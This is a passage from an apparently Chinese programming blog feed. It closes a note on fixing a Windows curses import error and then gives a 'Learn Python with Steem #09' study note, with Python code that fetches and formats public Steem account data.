</span></span><span class="line"><span class="cl"><span class="ne">ModuleNotFoundError</span><span class="p">:</span> <span class="n">No</span> <span class="n">module</span> <span class="n">named</span> <span class="s1">&#39;_curses&#39;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>原因就是 curses 这个模块不支持Windows：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">D:<span class="se">\U</span>sers<span class="se">\t</span>racis&gt;pip install curses
</span></span><span class="line"><span class="cl">Collecting curses
</span></span><span class="line"><span class="cl">  Could not find a version that satisfies the requirement curses <span class="o">(</span>from versions: <span class="o">)</span>
</span></span><span class="line"><span class="cl">No matching distribution found <span class="k">for</span> curses
</span></span></code></pre></td></tr></table>
</div>
</div><p>在pick的安装描述中有一个提醒，说到了这个问题，但是自己开始的时候没注意到。</p>
<blockquote>
<p>Note for Windows: curses wheels can be obtained from <a href="http://www.lfd.uci.edu/~gohlke/pythonlibs/#curses">http://www.lfd.uci.edu/~gohlke/pythonlibs/#curses</a>, then install it with pip, for example: <code>pip install curses-2.2-cp27-none-win_amd64.whl</code></p>
</blockquote>
<p>在 <a href="https://www.lfd.uci.edu/~gohlke/pythonlibs/#curses">https://www.lfd.uci.edu/~gohlke/pythonlibs/#curses</a> 网站下载第三方的wheels 安装包，用 pip 安装即可。</p>
<p><img loading="lazy" src="https://i.loli.net/2018/08/23/5b7d8c327c03d.jpg" alt="blob.jpg"  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>Learn Python with Steem #09 笔记</title>
      <link>https://hacperme.com/posts/notes/2018-08-20-learn-python-with-steem-09-note/</link>
      <pubDate>Mon, 20 Aug 2018 06:00:24 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-08-20-learn-python-with-steem-09-note/</guid>
      <description>Learn Python with Steem #09 笔记 [toc] 划重点 遍历字典 利用dict.items()方法，用一个循环语句遍历整个字典的所有元素。 转换 Reputation 和 Voting Power 的原始数据 直接获取的某些数</description>
      <content:encoded><![CDATA[<h1 id="learn-python-with-steem-09-笔记">Learn Python with Steem #09 笔记</h1>
<hr>
<p>[toc]</p>
<h2 id="划重点">划重点</h2>
<ul>
<li>
<p>遍历字典 利用dict.items()方法，用一个循环语句遍历整个字典的所有元素。</p>
</li>
<li>
<p>转换 Reputation 和 Voting Power 的原始数据</p>
<p>直接获取的某些数据是生的，需要煮(转换)一下才能吃。</p>
</li>
<li>
<p>解析时间</p>
<p>使用Python的dateutil和datetime模块来解析和处理时间数据。</p>
</li>
</ul>
<h2 id="编程练习">编程练习</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">steem</span> <span class="kn">import</span> <span class="n">Steem</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">steem.converter</span> <span class="kn">import</span> <span class="n">Converter</span>
</span></span><span class="line"><span class="cl"><span class="c1"># import sys</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">math</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">dateutil</span> <span class="kn">import</span> <span class="n">parser</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">dateutil.tz</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timezone</span><span class="p">,</span> <span class="n">timedelta</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pprint</span> <span class="kn">import</span> <span class="n">pprint</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Steemains</span><span class="p">(</span><span class="n">Steem</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">_account_name</span><span class="o">=</span><span class="s1">&#39;yjcps&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">Steem</span><span class="o">.</span><span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">account_name</span> <span class="o">=</span> <span class="n">_account_name</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">account_info</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">get_account</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">account_name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nd">@property</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">view_account_info</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">post_count</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">account_info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;post_count&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">balance</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">account_info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;balance&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">created</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">parse_date</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">account_info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;created&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="n">sbd_balance</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">account_info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;sbd_balance&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">vesting_shares</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">parse_vests</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">account_info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;vesting_shares&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="n">delegated_vesting_shares</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">parse_vests</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">account_info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;delegated_vesting_shares&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">converter</span> <span class="o">=</span> <span class="n">Converter</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="n">sp</span> <span class="o">=</span> <span class="n">converter</span><span class="o">.</span><span class="n">vests_to_sp</span><span class="p">(</span><span class="n">vesting_shares</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">delegated_sp</span> <span class="o">=</span> <span class="n">converter</span><span class="o">.</span><span class="n">vests_to_sp</span><span class="p">(</span><span class="n">delegated_vesting_shares</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">voting_power</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">parse_voting_power</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">account_info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;voting_power&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="n">reputation</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">parse_reputation</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">account_info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;reputation&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="n">last_post_date</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">parse_date</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">account_info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;last_root_post&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="n">time_since_last_post</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">utcnow</span><span class="p">()</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">tzinfo</span><span class="o">=</span><span class="n">timezone</span><span class="o">.</span><span class="n">utc</span><span class="p">)</span> <span class="o">-</span> <span class="n">last_post_date</span>
</span></span><span class="line"><span class="cl">        <span class="n">days_since_last_post</span> <span class="o">=</span> <span class="n">time_since_last_post</span><span class="o">.</span><span class="n">days</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">#         print(_timedelta)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;account_name&#39;</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">account_name</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;balance&#39;</span><span class="p">:</span> <span class="n">balance</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;created&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">utc_2_local_date</span><span class="p">(</span><span class="n">created</span><span class="p">)</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">                <span class="s1">&#39;%Y-%m-</span><span class="si">%d</span><span class="s1">-</span><span class="si">%a</span><span class="s1"> %H:%M:%S&#39;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;sbd_balance&#39;</span><span class="p">:</span> <span class="n">sbd_balance</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;vesting_shares&#39;</span><span class="p">:</span> <span class="n">vesting_shares</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;delegated_vesting_shares&#39;</span><span class="p">:</span> <span class="n">delegated_vesting_shares</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;sp&#39;</span><span class="p">:</span> <span class="n">sp</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;delegated_sp&#39;</span><span class="p">:</span> <span class="n">delegated_sp</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;post_count&#39;</span><span class="p">:</span> <span class="n">post_count</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;voting_power&#39;</span><span class="p">:</span> <span class="n">voting_power</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;reputation&#39;</span><span class="p">:</span> <span class="n">reputation</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;last_post_date&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">utc_2_local_date</span><span class="p">(</span><span class="n">last_post_date</span><span class="p">)</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">                <span class="s1">&#39;%Y-%m-</span><span class="si">%d</span><span class="s1">-</span><span class="si">%a</span><span class="s1"> %H:%M:%S&#39;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;days_since_last_post&#39;</span><span class="p">:</span> <span class="n">days_since_last_post</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">get_post_histry</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">pass</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nd">@staticmethod</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">utc_2_local_date</span><span class="p">(</span><span class="n">_utcdate</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">_timedelta</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span> <span class="o">-</span> <span class="n">datetime</span><span class="o">.</span><span class="n">utcnow</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">_utcdate</span><span class="o">.</span><span class="n">astimezone</span><span class="p">(</span><span class="n">timezone</span><span class="p">(</span><span class="n">_timedelta</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nd">@staticmethod</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">parse_vests</span><span class="p">(</span><span class="n">_vests</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">float</span><span class="p">(</span><span class="n">_vests</span><span class="o">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nd">@staticmethod</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">parse_voting_power</span><span class="p">(</span><span class="n">voting_power</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">int</span><span class="p">(</span><span class="n">voting_power</span><span class="p">)</span> <span class="o">/</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nd">@staticmethod</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">parse_reputation</span><span class="p">(</span><span class="n">raw_reputation</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">(</span><span class="n">math</span><span class="o">.</span><span class="n">log10</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">raw_reputation</span><span class="p">))</span> <span class="o">-</span> <span class="mi">9</span><span class="p">)</span> <span class="o">*</span> <span class="mi">9</span> <span class="o">+</span> <span class="mi">25</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nd">@staticmethod</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">parse_date</span><span class="p">(</span><span class="n">_date</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">utc_date</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="n">_date</span><span class="p">)</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">tzinfo</span><span class="o">=</span><span class="n">timezone</span><span class="o">.</span><span class="n">utc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">utc_date</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">yjcps</span> <span class="o">=</span> <span class="n">Steemains</span><span class="p">(</span><span class="s1">&#39;yjcps&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pprint</span><span class="p">(</span><span class="n">yjcps</span><span class="o">.</span><span class="n">view_account_info</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{&#39;account_name&#39;: &#39;yjcps&#39;,
</span></span><span class="line"><span class="cl"> &#39;balance&#39;: &#39;0.437 STEEM&#39;,
</span></span><span class="line"><span class="cl"> &#39;created&#39;: &#39;2018-01-04-Thu 13:25:18&#39;,
</span></span><span class="line"><span class="cl"> &#39;days_since_last_post&#39;: 0,
</span></span><span class="line"><span class="cl"> &#39;delegated_sp&#39;: 57.07436926020711,
</span></span><span class="line"><span class="cl"> &#39;delegated_vesting_shares&#39;: 115562.393455,
</span></span><span class="line"><span class="cl"> &#39;last_post_date&#39;: &#39;2018-08-19-Sun 07:01:57&#39;,
</span></span><span class="line"><span class="cl"> &#39;post_count&#39;: 261,
</span></span><span class="line"><span class="cl"> &#39;reputation&#39;: 51.49449059489242,
</span></span><span class="line"><span class="cl"> &#39;sbd_balance&#39;: &#39;4.499 SBD&#39;,
</span></span><span class="line"><span class="cl"> &#39;sp&#39;: 121.35204133768676,
</span></span><span class="line"><span class="cl"> &#39;vesting_shares&#39;: 245709.808613,
</span></span><span class="line"><span class="cl"> &#39;voting_power&#39;: 68.73}
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">deanliu</span> <span class="o">=</span> <span class="n">Steemains</span><span class="p">(</span><span class="s1">&#39;deanliu&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pprint</span><span class="p">(</span><span class="n">deanliu</span><span class="o">.</span><span class="n">view_account_info</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">del</span> <span class="n">deanliu</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{&#39;account_name&#39;: &#39;deanliu&#39;,
</span></span><span class="line"><span class="cl"> &#39;balance&#39;: &#39;105.649 STEEM&#39;,
</span></span><span class="line"><span class="cl"> &#39;created&#39;: &#39;2016-07-14-Thu 13:56:39&#39;,
</span></span><span class="line"><span class="cl"> &#39;days_since_last_post&#39;: 0,
</span></span><span class="line"><span class="cl"> &#39;delegated_sp&#39;: 3028.3048743103254,
</span></span><span class="line"><span class="cl"> &#39;delegated_vesting_shares&#39;: 6131616.465781,
</span></span><span class="line"><span class="cl"> &#39;last_post_date&#39;: &#39;2018-08-19-Sun 11:23:24&#39;,
</span></span><span class="line"><span class="cl"> &#39;post_count&#39;: 9998,
</span></span><span class="line"><span class="cl"> &#39;reputation&#39;: 74.33099682076877,
</span></span><span class="line"><span class="cl"> &#39;sbd_balance&#39;: &#39;189.594 SBD&#39;,
</span></span><span class="line"><span class="cl"> &#39;sp&#39;: 17333.498512941853,
</span></span><span class="line"><span class="cl"> &#39;vesting_shares&#39;: 35096322.630247,
</span></span><span class="line"><span class="cl"> &#39;voting_power&#39;: 55.17}
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">dapeng</span> <span class="o">=</span> <span class="n">Steemains</span><span class="p">(</span><span class="s1">&#39;dapeng&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pprint</span><span class="p">(</span><span class="n">dapeng</span><span class="o">.</span><span class="n">view_account_info</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">del</span> <span class="n">dapeng</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{&#39;account_name&#39;: &#39;dapeng&#39;,
</span></span><span class="line"><span class="cl"> &#39;balance&#39;: &#39;229.299 STEEM&#39;,
</span></span><span class="line"><span class="cl"> &#39;created&#39;: &#39;2016-10-14-Fri 19:03:39&#39;,
</span></span><span class="line"><span class="cl"> &#39;days_since_last_post&#39;: 2,
</span></span><span class="line"><span class="cl"> &#39;delegated_sp&#39;: 3909.296719340023,
</span></span><span class="line"><span class="cl"> &#39;delegated_vesting_shares&#39;: 7915420.822822,
</span></span><span class="line"><span class="cl"> &#39;last_post_date&#39;: &#39;2018-08-16-Thu 20:57:21&#39;,
</span></span><span class="line"><span class="cl"> &#39;post_count&#39;: 5926,
</span></span><span class="line"><span class="cl"> &#39;reputation&#39;: 67.26589131476406,
</span></span><span class="line"><span class="cl"> &#39;sbd_balance&#39;: &#39;30.081 SBD&#39;,
</span></span><span class="line"><span class="cl"> &#39;sp&#39;: 5186.613554620994,
</span></span><span class="line"><span class="cl"> &#39;vesting_shares&#39;: 10501691.705077,
</span></span><span class="line"><span class="cl"> &#39;voting_power&#39;: 69.86}
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">for</span> <span class="n">key</span><span class="p">,</span><span class="n">value</span> <span class="ow">in</span> <span class="n">yjcps</span><span class="o">.</span><span class="n">view_account_info</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">key</span><span class="p">,</span><span class="s1">&#39;:&#39;</span><span class="p">,</span><span class="n">value</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">account_name : yjcps
</span></span><span class="line"><span class="cl">balance : 0.437 STEEM
</span></span><span class="line"><span class="cl">created : 2018-01-04-Thu 13:25:18
</span></span><span class="line"><span class="cl">sbd_balance : 4.499 SBD
</span></span><span class="line"><span class="cl">vesting_shares : 245709.808613
</span></span><span class="line"><span class="cl">delegated_vesting_shares : 115562.393455
</span></span><span class="line"><span class="cl">sp : 121.35205839875916
</span></span><span class="line"><span class="cl">delegated_sp : 57.07437728438151
</span></span><span class="line"><span class="cl">post_count : 261
</span></span><span class="line"><span class="cl">voting_power : 68.73
</span></span><span class="line"><span class="cl">reputation : 51.49449059489242
</span></span><span class="line"><span class="cl">last_post_date : 2018-08-19-Sun 07:01:57
</span></span><span class="line"><span class="cl">days_since_last_post : 0
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">display_message</span> <span class="o">=</span> <span class="s1">&#39;&#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="s1">Username: </span><span class="se">\t</span><span class="si">{account_name}</span><span class="s1">
</span></span></span><span class="line"><span class="cl"><span class="s1">Reputation: </span><span class="se">\t</span><span class="si">{reputation}</span><span class="s1">
</span></span></span><span class="line"><span class="cl"><span class="s1">Created:</span><span class="se">\t</span><span class="si">{created}</span><span class="s1">
</span></span></span><span class="line"><span class="cl"><span class="s1">Last Post: </span><span class="se">\t</span><span class="si">{last_post_date}</span><span class="s1"> (</span><span class="si">{days_since_last_post}</span><span class="s1"> days ago)
</span></span></span><span class="line"><span class="cl"><span class="s1">===========================================
</span></span></span><span class="line"><span class="cl"><span class="s1">STEEM Balance:</span><span class="se">\t</span><span class="si">{balance}</span><span class="s1">
</span></span></span><span class="line"><span class="cl"><span class="s1">SBD Balance:</span><span class="se">\t</span><span class="si">{sbd_balance}</span><span class="s1">
</span></span></span><span class="line"><span class="cl"><span class="s1">SP: </span><span class="se">\t\t</span><span class="si">{sp}</span><span class="s1">
</span></span></span><span class="line"><span class="cl"><span class="s1">Delegated SP:</span><span class="se">\t</span><span class="si">{delegated_sp}</span><span class="s1">
</span></span></span><span class="line"><span class="cl"><span class="s1">Total Posts:</span><span class="se">\t</span><span class="si">{post_count}</span><span class="s1">
</span></span></span><span class="line"><span class="cl"><span class="s1">Voting Power:</span><span class="se">\t</span><span class="si">{voting_power}</span><span class="s1">%
